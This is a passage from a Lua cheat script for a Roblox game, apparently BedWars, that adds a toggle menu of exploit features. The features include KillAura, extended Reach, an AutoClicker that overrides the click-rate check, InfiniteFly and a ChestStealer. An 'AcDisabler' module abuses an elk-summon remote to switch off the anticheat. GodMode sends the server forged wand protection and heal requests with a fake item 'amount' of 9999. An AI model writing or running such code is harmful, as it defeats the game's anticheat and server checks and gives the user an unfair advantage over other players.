  2383. LocalPlayer.Character.PrimaryPart.CFrame = LocalPlayer.Character.PrimaryPart.CFrame + SpeedCFrame
  2384. end
  2385. end
  2386. end)
  2387. end)
  2388.  
  2389. task.spawn(function()
  2390. repeat
  2391. task.wait(0.1)
  2392.  
  2393. task.spawn(function()
  2394. if Settings.Nuker.Value == true and IsAlive(LocalPlayer) and GetMatchState() ~= 0 then
  2395. local NearestBed = FindNearestBed(Settings.Nuker.Range) or nil
  2396. local NearestOre = FindNearestOre(Settings.Nuker.Range) or nil
  2397.  
  2398. if NearestBed or NearestOre then
  2399. Nuker(NearestBed, NearestOre)
  2400. end
  2401. end
  2402. end)
  2403.  
  2404. task.spawn(function()
  2405. local HipHeight = 1.99999
  2406.  
  2407. if Settings.AcDisabler.Value == true and IsAlive(LocalPlayer) then
  2408. local Elk = LocalPlayer.Character:FindFirstChild("elk")
  2409.  
  2410. LocalPlayer.Character.Humanoid.HipHeight = HipHeight
  2411. AnticheatDisabled = true
  2412.  
  2413. if Elk and Elk:FindFirstChild("body_mesh") then
  2414. Elk:FindFirstChild("body_mesh"):Destroy()
  2415. Elk.PrimaryPart:Destroy()
  2416. end
  2417.  
  2418. task.spawn(function()
  2419. local Args = {
  2420. [1] = "elk_summon"
  2421. }
  2422.  
  2423. ElkSummonRemote:FireServer(unpack(Args))
  2424. end)
  2425.  
  2426. task.spawn(function()
  2427. BlossomWindTunnelCreateBodyForceRemote:FireServer()
  2428. end)
  2429. end
  2430.  
  2431. if Settings.AcDisabler.Value == false then
  2432. AnticheatDisabled = false
  2433. end
  2434. end)
  2435.  
  2436. task.spawn(function()
  2437. if IsAlive(LocalPlayer) then
  2438. task.spawn(function()
  2439. LocalPlayer.Character.ChildAdded:Connect(function(Part)
  2440. if Part.Name:lower() == "bubble" then
  2441. Part.Transparency = 1
  2442. end
  2443. end)
  2444. end)
  2445.  
  2446. if Settings.GodMode.Value == true then
  2447. task.spawn(function()
  2448. WandBubbleProtectionRemote:InvokeServer({
  2449. ["targetPlayerUserId"] = LocalPlayer.UserId,
  2450. ["handItem"] = {
  2451. ["itemSkin"] = "",
  2452. ["itemType"] = "villain_protector_wand",
  2453. ["amount"] = 9999,
  2454. ["addedToBackpackTime"] = 0,
  2455. ["tool"] = ReplicatedStorage.Items.villain_protector_wand,
  2456. },
  2457. })
  2458. end)
  2459.  
  2460. task.spawn(function()
  2461. if LocalPlayer.Character:GetAttribute("Health") < 95 then
  2462. WandHealPlayerRemote:InvokeServer({
  2463. ["targetPlayerUserId"] = LocalPlayer.UserId,
  2464. ["handItem"] = {
  2465. ["itemSkin"] = "",
  2466. ["itemType"] = "villain_protector_wand",
  2467. ["amount"] = 9999,
  2468. ["addedToBackpackTime"] = 0,
  2469. ["tool"] = ReplicatedStorage.Items.villain_protector_wand,
  2470. },
  2471. })
  2472. end
  2473. end)
  2474. end
  2475. end
  2476. end)
  2477. until not game
  2478. end)
  2479.  
  2480. task.spawn(function()
  2481. repeat task.wait() until GetMatchState() ~= 0
  2482.  
  2483. local ZephyrUpdate = ZephyrController.updateJump
  2484.  
  2485. ZephyrController.updateJump = function(self, orb, ...)
  2486. if IsAlive(LocalPlayer) and orb then
  2487. ZephyrOrb = 1
  2488. end
  2489.  
  2490. if not IsAlive(LocalPlayer) or not orb then
  2491. ZephyrOrb = 0
  2492. end
  2493.  
  2494. return ZephyrUpdate(self, orb, ...)
  2495. end
  2496. end)
  2497.  
  2498. task.spawn(function()
  2499. repeat
  2500. task.wait(0.01)
  2501.  
  2502. if IsAlive(LocalPlayer) and IsMoving() and LocalPlayer.Character:FindFirstChild("Cape") and LocalPlayer.Character:FindFirstChild("Cape"):FindFirstChild("Motor") then
  2503. local TweenInformation = TweenInfo.new(0.15, Enum.EasingStyle.Linear, Enum.EasingDirection.In, 0, false, 0)
  2504. local CapeTween = TweenService:Create(LocalPlayer.Character.Cape.Motor, TweenInformation, {CurrentAngle = -0.6})
  2505.  
  2506. CapeTween:Play()
  2507. end
  2508.  
  2509. if IsAlive(LocalPlayer) and not IsMoving() and LocalPlayer.Character:FindFirstChild("Cape") and LocalPlayer.Character:FindFirstChild("Cape"):FindFirstChild("Motor") then
  2510. local TweenInformation = TweenInfo.new(0.15, Enum.EasingStyle.Linear, Enum.EasingDirection.In, 0, false, 0)
  2511. local CapeTween = TweenService:Create(LocalPlayer.Character.Cape.Motor, TweenInformation, {CurrentAngle = -0.2})
  2512.  
  2513. CapeTween:Play()
  2514. end
  2515. until not game
  2516. end)
  2517.  
  2518. task.spawn(function()
  2519. UserInputService.InputBegan:Connect(function(Input)
  2520. if Input.KeyCode == Enum.KeyCode.Space and not UserInputService:GetFocusedTextBox() then
  2521. FlyUp = true
  2522. end
  2523.  
  2524. if Input.KeyCode == Enum.KeyCode.LeftShift and not UserInputService:GetFocusedTextBox() then
  2525. FlyDown = true
  2526. end
  2527. end)
  2528.  
  2529. UserInputService.InputEnded:Connect(function(Input)
  2530. if Input.KeyCode == Enum.KeyCode.Space and not UserInputService:GetFocusedTextBox() then
  2531. FlyUp = false
  2532. end
  2533.  
  2534. if Input.KeyCode == Enum.KeyCode.LeftShift and not UserInputService:GetFocusedTextBox() then
  2535. FlyDown = false
  2536. end
  2537. end)
  2538. end)
  2539.  
  2540. local CombatTab = CreateTab("Combat")
  2541. local BlatantTab = CreateTab("Blatant")
  2542. local UtilityTab = CreateTab("Utility")
  2543. local WorldTab = CreateTab("World")
  2544.  
  2545. task.spawn(function()
  2546. local NoKnockBack, DropDownButton, LayoutOrder, UIGradient = CreateToggle(CombatTab, "NoKnockBack", Settings.NoKnockBack.Value, function(CallBack)
  2547. Settings.NoKnockBack.Value = CallBack
  2548.  
  2549. local OldKnockBackDirection = KnockBackTable.kbDirectionStrength
  2550. local OldKnockBackUp = KnockBackTable.kbUpwardStrength
  2551.  
  2552. if Settings.NoKnockBack.Value == true then
  2553. KnockBackTable.kbDirectionStrength = 0
  2554. KnockBackTable.kbUpwardStrength = 0
  2555. end
  2556.  
  2557. if Settings.NoKnockBack.Value == false then
  2558. KnockBackTable.kbDirectionStrength = OldKnockBackDirection
  2559. KnockBackTable.kbUpwardStrength = OldKnockBackUp
  2560. end
  2561. end)
  2562.  
  2563. task.spawn(function()
  2564. local InstanceUI
  2565. local Value = false
  2566.  
  2567. DropDownButton.Activated:Connect(function()
  2568. Value = not Value
  2569.  
  2570. if Value == true then
  2571. InstanceUI = CreateKeyBind(CombatTab, Settings.NoKnockBack.KeyBind, LayoutOrder + 1, function(CallBack)
  2572. Settings.NoKnockBack.KeyBind = CallBack
  2573. end)
  2574. end
  2575.  
  2576. if Value == false then
  2577. InstanceUI:Destroy()
  2578. end
  2579. end)
  2580. end)
  2581.  
  2582. task.spawn(function()
  2583. UserInputService.InputBegan:Connect(function(Input)
  2584. if not UserInputService:GetFocusedTextBox() then
  2585. if Input.KeyCode.Name == Settings.NoKnockBack.KeyBind then
  2586. Settings.NoKnockBack.Value = not Settings.NoKnockBack.Value
  2587.  
  2588. if Settings.NoKnockBack.Value == true then
  2589. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  2590. end
  2591.  
  2592. if Settings.NoKnockBack.Value == false then
  2593. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  2594. end
  2595. end
  2596. end
  2597. end)
  2598. end)
  2599. end)
  2600.  
  2601. task.spawn(function()
  2602. local AutoClicker, DropDownButton, LayoutOrder, UIGradient = CreateToggle(CombatTab, "AutoClicker", Settings.AutoClicker.Value, function(CallBack)
  2603. Settings.AutoClicker.Value = CallBack
  2604.  
  2605. local OldCpsFunction = nil
  2606.  
  2607. if Settings.AutoClicker.Value == true then
  2608. SwordController.isClickingTooFast = function(self)
  2609. self.lastSwing = tick()
  2610.  
  2611. return false
  2612. end
  2613. end
  2614.  
  2615. if Settings.AutoClicker.Value == false then
  2616. SwordController.isClickingTooFast = OldCpsFunction
  2617. end
  2618. end)
  2619.  
  2620. task.spawn(function()
  2621. local InstanceUI
  2622. local Value = false
  2623.  
  2624. DropDownButton.Activated:Connect(function()
  2625. Value = not Value
  2626.  
  2627. if Value == true then
  2628. InstanceUI = CreateKeyBind(CombatTab, Settings.AutoClicker.KeyBind, LayoutOrder + 1, function(CallBack)
  2629. Settings.AutoClicker.KeyBind = CallBack
  2630. end)
  2631. end
  2632.  
  2633. if Value == false then
  2634. InstanceUI:Destroy()
  2635. end
  2636. end)
  2637. end)
  2638.  
  2639. task.spawn(function()
  2640. UserInputService.InputBegan:Connect(function(Input)
  2641. if not UserInputService:GetFocusedTextBox() then
  2642. if Input.KeyCode.Name == Settings.AutoClicker.KeyBind then
  2643. Settings.AutoClicker.Value = not Settings.AutoClicker.Value
  2644.  
  2645. if Settings.AutoClicker.Value == true then
  2646. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  2647. end
  2648.  
  2649. if Settings.AutoClicker.Value == false then
  2650. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  2651. end
  2652. end
  2653. end
  2654. end)
  2655. end)
  2656.  
  2657. task.spawn(function()
  2658. local InstanceUI
  2659. local Value = false
  2660.  
  2661. DropDownButton.Activated:Connect(function()
  2662. Value = not Value
  2663.  
  2664. if Value == true then
  2665. InstanceUI = CreateSlider(CombatTab, "Cps", Settings.AutoClicker.Cps, 30, LayoutOrder + 2, function(CallBack)
  2666. Settings.AutoClicker.Cps = CallBack
  2667. end)
  2668. end
  2669.  
  2670. if Value == false then
  2671. InstanceUI:Destroy()
  2672. end
  2673. end)
  2674. end)
  2675. end)
  2676.  
  2677. task.spawn(function()
  2678. local AimAssist, DropDownButton, LayoutOrder, UIGradient = CreateToggle(CombatTab, "AimAssist", Settings.AimAssist.Value, function(CallBack)
  2679. Settings.AimAssist.Value = CallBack
  2680. end)
  2681.  
  2682. task.spawn(function()
  2683. local InstanceUI
  2684. local Value = false
  2685.  
  2686. DropDownButton.Activated:Connect(function()
  2687. Value = not Value
  2688.  
  2689. if Value == true then
  2690. InstanceUI = CreateKeyBind(CombatTab, Settings.AimAssist.KeyBind, LayoutOrder + 1, function(CallBack)
  2691. Settings.AimAssist.KeyBind = CallBack
  2692. end)
  2693. end
  2694.  
  2695. if Value == false then
  2696. InstanceUI:Destroy()
  2697. end
  2698. end)
  2699. end)
  2700.  
  2701. task.spawn(function()
  2702. UserInputService.InputBegan:Connect(function(Input)
  2703. if not UserInputService:GetFocusedTextBox() then
  2704. if Input.KeyCode.Name == Settings.AimAssist.KeyBind then
  2705. Settings.AimAssist.Value = not Settings.AimAssist.Value
  2706.  
  2707. if Settings.AimAssist.Value == true then
  2708. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  2709. end
  2710.  
  2711. if Settings.AimAssist.Value == false then
  2712. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  2713. end
  2714. end
  2715. end
  2716. end)
  2717. end)
  2718.  
  2719. task.spawn(function()
  2720. local InstanceUI
  2721. local Value = false
  2722.  
  2723. DropDownButton.Activated:Connect(function()
  2724. Value = not Value
  2725.  
  2726. if Value == true then
  2727. InstanceUI = CreateSlider(CombatTab, "Range", Settings.AimAssist.Range, 18, LayoutOrder + 1, function(CallBack)
  2728. Settings.AimAssist.Range = CallBack
  2729. end)
  2730. end
  2731.  
  2732. if Value == false then
  2733. InstanceUI:Destroy()
  2734. end
  2735. end)
  2736. end)
  2737. end)
  2738.  
  2739. task.spawn(function()
  2740. local KillAura, DropDownButton, LayoutOrder, UIGradient = CreateToggle(CombatTab, "KillAura", Settings.KillAura.Value, function(CallBack)
  2741. Settings.KillAura.Value = CallBack
  2742. end)
  2743.  
  2744. task.spawn(function()
  2745. local InstanceUI
  2746. local Value = false
  2747.  
  2748. DropDownButton.Activated:Connect(function()
  2749. Value = not Value
  2750.  
  2751. if Value == true then
  2752. InstanceUI = CreateKeyBind(CombatTab, Settings.KillAura.KeyBind, LayoutOrder + 1, function(CallBack)
  2753. Settings.KillAura.KeyBind = CallBack
  2754. end)
  2755. end
  2756.  
  2757. if Value == false then
  2758. InstanceUI:Destroy()
  2759. end
  2760. end)
  2761. end)
  2762.  
  2763. task.spawn(function()
  2764. UserInputService.InputBegan:Connect(function(Input)
  2765. if not UserInputService:GetFocusedTextBox() then
  2766. if Input.KeyCode.Name == Settings.KillAura.KeyBind then
  2767. Settings.KillAura.Value = not Settings.KillAura.Value
  2768.  
  2769. if Settings.KillAura.Value == true then
  2770. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  2771. end
  2772.  
  2773. if Settings.KillAura.Value == false then
  2774. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  2775. end
  2776. end
  2777. end
  2778. end)
  2779. end)
  2780.  
  2781. task.spawn(function()
  2782. local InstanceUI
  2783. local Value = false
  2784.  
  2785. DropDownButton.Activated:Connect(function()
  2786. Value = not Value
  2787.  
  2788. if Value == true then
  2789. InstanceUI = CreateMiniToggle(CombatTab, "CustomAnimation", Settings.KillAura.CustomAnimation, LayoutOrder + 2, function(CallBack)
  2790. Settings.KillAura.CustomAnimation = CallBack
  2791. end)
  2792. end
  2793.  
  2794. if Value == false then
  2795. InstanceUI:Destroy()
  2796. end
  2797. end)
  2798. end)
  2799.  
  2800. task.spawn(function()
  2801. local InstanceUI
  2802. local Value = false
  2803.  
  2804. DropDownButton.Activated:Connect(function()
  2805. Value = not Value
  2806.  
  2807. if Value == true then
  2808. InstanceUI = CreateMiniToggle(CombatTab, "ToolCheck", Settings.KillAura.ToolCheck, LayoutOrder + 3, function(CallBack)
  2809. Settings.KillAura.ToolCheck = CallBack
  2810. end)
  2811. end
  2812.  
  2813. if Value == false then
  2814. InstanceUI:Destroy()
  2815. end
  2816. end)
  2817. end)
  2818.  
  2819. task.spawn(function()
  2820. local InstanceUI
  2821. local Value = false
  2822.  
  2823. DropDownButton.Activated:Connect(function()
  2824. Value = not Value
  2825.  
  2826. if Value == true then
  2827. InstanceUI = CreateMiniToggle(CombatTab, "Strafe", Settings.KillAura.Strafe, LayoutOrder + 4, function(CallBack)
  2828. Settings.KillAura.Strafe = CallBack
  2829. end)
  2830. end
  2831.  
  2832. if Value == false then
  2833. InstanceUI:Destroy()
  2834. end
  2835. end)
  2836. end)
  2837.  
  2838. task.spawn(function()
  2839. local InstanceUI
  2840. local Value = false
  2841.  
  2842. DropDownButton.Activated:Connect(function()
  2843. Value = not Value
  2844.  
  2845. if Value == true then
  2846. InstanceUI = CreateSlider(CombatTab, "Range", Settings.KillAura.Range, 20, LayoutOrder + 5, function(CallBack)
  2847. Settings.KillAura.Range = CallBack
  2848. end)
  2849. end
  2850.  
  2851. if Value == false then
  2852. InstanceUI:Destroy()
  2853. end
  2854. end)
  2855. end)
  2856. end)
  2857.  
  2858. task.spawn(function()
  2859. local Reach, DropDownButton, LayoutOrder, UIGradient = CreateToggle(CombatTab, "Reach", Settings.Reach.Value, function(CallBack)
  2860. Settings.Reach.Value = CallBack
  2861.  
  2862. local OldReach = CombatConstant.RAYCAST_SWORD_CHARACTER_DISTANCE
  2863.  
  2864. if Settings.Reach.Value == true then
  2865. CombatConstant.RAYCAST_SWORD_CHARACTER_DISTANCE = 20
  2866. end
  2867.  
  2868. if Settings.Reach.Value == false then
  2869. CombatConstant.RAYCAST_SWORD_CHARACTER_DISTANCE = OldReach
  2870. end
  2871. end)
  2872.  
  2873. task.spawn(function()
  2874. local InstanceUI
  2875. local Value = false
  2876.  
  2877. DropDownButton.Activated:Connect(function()
  2878. Value = not Value
  2879.  
  2880. if Value == true then
  2881. InstanceUI = CreateKeyBind(CombatTab, Settings.Reach.KeyBind, LayoutOrder + 1, function(CallBack)
  2882. Settings.Reach.KeyBind = CallBack
  2883. end)
  2884. end
  2885.  
  2886. if Value == false then
  2887. InstanceUI:Destroy()
  2888. end
  2889. end)
  2890. end)
  2891.  
  2892. task.spawn(function()
  2893. UserInputService.InputBegan:Connect(function(Input)
  2894. if not UserInputService:GetFocusedTextBox() then
  2895. if Input.KeyCode.Name == Settings.Reach.KeyBind then
  2896. Settings.Reach.Value = not Settings.Reach.Value
  2897.  
  2898. if Settings.Reach.Value == true then
  2899. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  2900. end
  2901.  
  2902. if Settings.Reach.Value == false then
  2903. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  2904. end
  2905. end
  2906. end
  2907. end)
  2908. end)
  2909. end)
  2910.  
  2911. task.spawn(function()
  2912. local Sprint, DropDownButton, LayoutOrder, UIGradient = CreateToggle(CombatTab, "Sprint", Settings.Sprint.Value, function(CallBack)
  2913. Settings.Sprint.Value = CallBack
  2914.  
  2915. local OldSprintFunction
  2916.  
  2917. if Settings.Sprint.Value == true then
  2918. OldSprintFunction = SprintController.stopSprinting
  2919.  
  2920. SprintController.stopSprinting = function(...)
  2921. local Function = OldSprintFunction(...)
  2922.  
  2923. SprintController:startSprinting()
  2924. return Function
  2925. end
  2926.  
  2927. task.spawn(function()
  2928. SprintController:startSprinting()
  2929. end)
  2930.  
  2931. LocalPlayer.CharacterAdded:Connect(function()
  2932. SprintController:stopSprinting()
  2933. end)
  2934. end
  2935.  
  2936. if Settings.Sprint.Value == false then
  2937. SprintController.stopSprinting = OldSprintFunction
  2938. SprintController:stopSprinting()
  2939. end
  2940. end)
  2941.  
  2942. task.spawn(function()
  2943. local InstanceUI
  2944. local Value = false
  2945.  
  2946. DropDownButton.Activated:Connect(function()
  2947. Value = not Value
  2948.  
  2949. if Value == true then
  2950. InstanceUI = CreateKeyBind(CombatTab, Settings.Sprint.KeyBind, LayoutOrder + 1, function(CallBack)
  2951. Settings.Sprint.KeyBind = CallBack
  2952. end)
  2953. end
  2954.  
  2955. if Value == false then
  2956. InstanceUI:Destroy()
  2957. end
  2958. end)
  2959. end)
  2960.  
  2961. task.spawn(function()
  2962. UserInputService.InputBegan:Connect(function(Input)
  2963. if not UserInputService:GetFocusedTextBox() then
  2964. if Input.KeyCode.Name == Settings.Sprint.KeyBind then
  2965. Settings.Sprint.Value = not Settings.Sprint.Value
  2966.  
  2967. if Settings.Sprint.Value == true then
  2968. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  2969. end
  2970.  
  2971. if Settings.Sprint.Value == false then
  2972. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  2973. end
  2974. end
  2975. end
  2976. end)
  2977. end)
  2978. end)
  2979.  
  2980. task.spawn(function()
  2981. local NoPlacementCps, DropDownButton, LayoutOrder, UIGradient = CreateToggle(BlatantTab, "NoPlacementCps", Settings.NoPlacementCps.Value, function(CallBack)
  2982. Settings.NoPlacementCps.Value = CallBack
  2983.  
  2984. local OldCps = nil
  2985.  
  2986. if Settings.NoPlacementCps.Value == true then
  2987. OldCps = PlacementCPS.BLOCK_PLACE_CPS
  2988.  
  2989. PlacementCPS.BLOCK_PLACE_CPS = math.huge
  2990. end
  2991.  
  2992. if Settings.NoPlacementCps.Value == false then
  2993. PlacementCPS.BLOCK_PLACE_CPS = OldCps
  2994. end
  2995. end)
  2996.  
  2997. task.spawn(function()
  2998. local InstanceUI
  2999. local Value = false
  3000.  
  3001. DropDownButton.Activated:Connect(function()
  3002. Value = not Value
  3003.  
  3004. if Value == true then
  3005. InstanceUI = CreateKeyBind(BlatantTab, Settings.NoPlacementCps.KeyBind, LayoutOrder + 1, function(CallBack)
  3006. Settings.NoPlacementCps.KeyBind = CallBack
  3007. end)
  3008. end
  3009.  
  3010. if Value == false then
  3011. InstanceUI:Destroy()
  3012. end
  3013. end)
  3014. end)
  3015.  
  3016. task.spawn(function()
  3017. UserInputService.InputBegan:Connect(function(Input)
  3018. if not UserInputService:GetFocusedTextBox() then
  3019. if Input.KeyCode.Name == Settings.NoPlacementCps.KeyBind then
  3020. Settings.NoPlacementCps.Value = not Settings.NoPlacementCps.Value
  3021.  
  3022. if Settings.NoPlacementCps.Value == true then
  3023. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  3024. end
  3025.  
  3026. if Settings.NoPlacementCps.Value == false then
  3027. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  3028. end
  3029. end
  3030. end
  3031. end)
  3032. end)
  3033. end)
  3034.  
  3035. task.spawn(function()
  3036. local ChestStealer, DropDownButton, LayoutOrder, UIGradient = CreateToggle(BlatantTab, "ChestStealer", Settings.ChestStealer.Value, function(CallBack)
  3037. Settings.ChestStealer.Value = CallBack
  3038. end)
  3039.  
  3040. task.spawn(function()
  3041. local InstanceUI
  3042. local Value = false
  3043.  
  3044. DropDownButton.Activated:Connect(function()
  3045. Value = not Value
  3046.  
  3047. if Value == true then
  3048. InstanceUI = CreateKeyBind(BlatantTab, Settings.ChestStealer.KeyBind, LayoutOrder + 1, function(CallBack)
  3049. Settings.ChestStealer.KeyBind = CallBack
  3050. end)
  3051. end
  3052.  
  3053. if Value == false then
  3054. InstanceUI:Destroy()
  3055. end
  3056. end)
  3057. end)
  3058.  
  3059. task.spawn(function()
  3060. UserInputService.InputBegan:Connect(function(Input)
  3061. if not UserInputService:GetFocusedTextBox() then
  3062. if Input.KeyCode.Name == Settings.ChestStealer.KeyBind then
  3063. Settings.ChestStealer.Value = not Settings.ChestStealer.Value
  3064.  
  3065. if Settings.ChestStealer.Value == true then
  3066. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  3067. end
  3068.  
  3069. if Settings.ChestStealer.Value == false then
  3070. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  3071. end
  3072. end
  3073. end
  3074. end)
  3075. end)
  3076.  
  3077. task.spawn(function()
  3078. local InstanceUI
  3079. local Value = false
  3080.  
  3081. DropDownButton.Activated:Connect(function()
  3082. Value = not Value
  3083.  
  3084. if Value == true then
  3085. InstanceUI = CreateSlider(BlatantTab, "Range", Settings.ChestStealer.Range, 30, LayoutOrder + 2, function(CallBack)
  3086. Settings.ChestStealer.Range = CallBack
  3087. end)
  3088. end
  3089.  
  3090. if Value == false then
  3091. InstanceUI:Destroy()
  3092. end
  3093. end)
  3094. end)
  3095. end)
  3096.  
  3097. task.spawn(function()
  3098. local InfiniteJump, DropDownButton, LayoutOrder, UIGradient = CreateToggle(BlatantTab, "InfiniteJump", Settings.InfiniteJump.Value, function(CallBack)
  3099. Settings.InfiniteJump.Value = CallBack
  3100.  
  3101. task.spawn(function()
  3102. UserInputService.JumpRequest:Connect(function()
  3103. if IsAlive(LocalPlayer) and Settings.InfiniteJump.Value == true then
  3104. LocalPlayer.Character.Humanoid:ChangeState("Jumping")
  3105. end
  3106. end)
  3107. end)
  3108. end)
  3109.  
  3110. task.spawn(function()
  3111. local InstanceUI
  3112. local Value = false
  3113.  
  3114. DropDownButton.Activated:Connect(function()
  3115. Value = not Value
  3116.  
  3117. if Value == true then
  3118. InstanceUI = CreateKeyBind(BlatantTab, Settings.InfiniteJump.KeyBind, LayoutOrder + 1, function(CallBack)
  3119. Settings.InfiniteJump.KeyBind = CallBack
  3120. end)
  3121. end
  3122.  
  3123. if Value == false then
  3124. InstanceUI:Destroy()
  3125. end
  3126. end)
  3127. end)
  3128.  
  3129. task.spawn(function()
  3130. UserInputService.InputBegan:Connect(function(Input)
  3131. if not UserInputService:GetFocusedTextBox() then
  3132. if Input.KeyCode.Name == Settings.InfiniteJump.KeyBind then
  3133. Settings.InfiniteJump.Value = not Settings.InfiniteJump.Value
  3134.  
  3135. if Settings.InfiniteJump.Value == true then
  3136. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  3137. end
  3138.  
  3139. if Settings.InfiniteJump.Value == false then
  3140. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  3141. end
  3142. end
  3143. end
  3144. end)
  3145. end)
  3146. end)
  3147.  
  3148. task.spawn(function()
  3149. local AcDisabler, DropDownButton, LayoutOrder, UIGradient = CreateToggle(BlatantTab, "AcDisabler", Settings.AcDisabler.Value, function(CallBack)
  3150. Settings.AcDisabler.Value = CallBack
  3151. end)
  3152.  
  3153. task.spawn(function()
  3154. local InstanceUI
  3155. local Value = false
  3156.  
  3157. DropDownButton.Activated:Connect(function()
  3158. Value = not Value
  3159.  
  3160. if Value == true then
  3161. InstanceUI = CreateKeyBind(BlatantTab, Settings.AcDisabler.KeyBind, LayoutOrder + 1, function(CallBack)
  3162. Settings.AcDisabler.KeyBind = CallBack
  3163. end)
  3164. end
  3165.  
  3166. if Value == false then
  3167. InstanceUI:Destroy()
  3168. end
  3169. end)
  3170. end)
  3171.  
  3172. task.spawn(function()
  3173. UserInputService.InputBegan:Connect(function(Input)
  3174. if not UserInputService:GetFocusedTextBox() then
  3175. if Input.KeyCode.Name == Settings.AcDisabler.KeyBind then
  3176. Settings.AcDisabler.Value = not Settings.AcDisabler.Value
  3177.  
  3178. if Settings.AcDisabler.Value == true then
  3179. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  3180. end
  3181.  
  3182. if Settings.AcDisabler.Value == false then
  3183. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  3184. end
  3185. end
  3186. end
  3187. end)
  3188. end)
  3189. end)
  3190.  
  3191. task.spawn(function()
  3192. local InfiniteFly, DropDownButton, LayoutOrder, UIGradient = CreateToggle(BlatantTab, "InfiniteFly", Settings.InfiniteFly.Value, function(CallBack)
  3193. Settings.InfiniteFly.Value = CallBack
  3194.  
  3195. task.spawn(function()
  3196. if Settings.InfiniteFly.Value == true and InfiniteFlyValue == false then
  3197. InfiniteFlyValue = true
  3198. InfFly()
  3199. end
  3200.  
  3201. if Settings.InfiniteFly.Value == false and InfiniteFlyValue == true then
  3202. InfiniteFlyValue = false
  3203. end
  3204. end)
  3205. end)
  3206.  
  3207. task.spawn(function()
  3208. local InstanceUI
  3209. local Value = false
  3210.  
  3211. DropDownButton.Activated:Connect(function()
  3212. Value = not Value
  3213.  
  3214. if Value == true then
  3215. InstanceUI = CreateKeyBind(BlatantTab, Settings.InfiniteFly.KeyBind, LayoutOrder + 1, function(CallBack)
  3216. Settings.InfiniteFly.KeyBind = CallBack
  3217. end)
  3218. end
  3219.  
  3220. if Value == false then
  3221. InstanceUI:Destroy()
  3222. end
  3223. end)
  3224. end)
  3225.  
  3226. task.spawn(function()
  3227. UserInputService.InputBegan:Connect(function(Input)
  3228. if not UserInputService:GetFocusedTextBox() then
  3229. if Input.KeyCode.Name == Settings.InfiniteFly.KeyBind then
  3230. Settings.InfiniteFly.Value = not Settings.InfiniteFly.Value
  3231.  
  3232. if Settings.InfiniteFly.Value == true then
  3233. task.spawn(function()
  3234. InfiniteFlyValue = true
  3235. InfFly()
  3236. end)
  3237.  
  3238. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  3239. end
  3240.  
  3241. if Settings.InfiniteFly.Value == false then
  3242. InfiniteFlyValue = false
  3243. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  3244. end
  3245. end
  3246. end
  3247. end)
  3248. end)
  3249. end)
  3250.  
  3251. task.spawn(function()
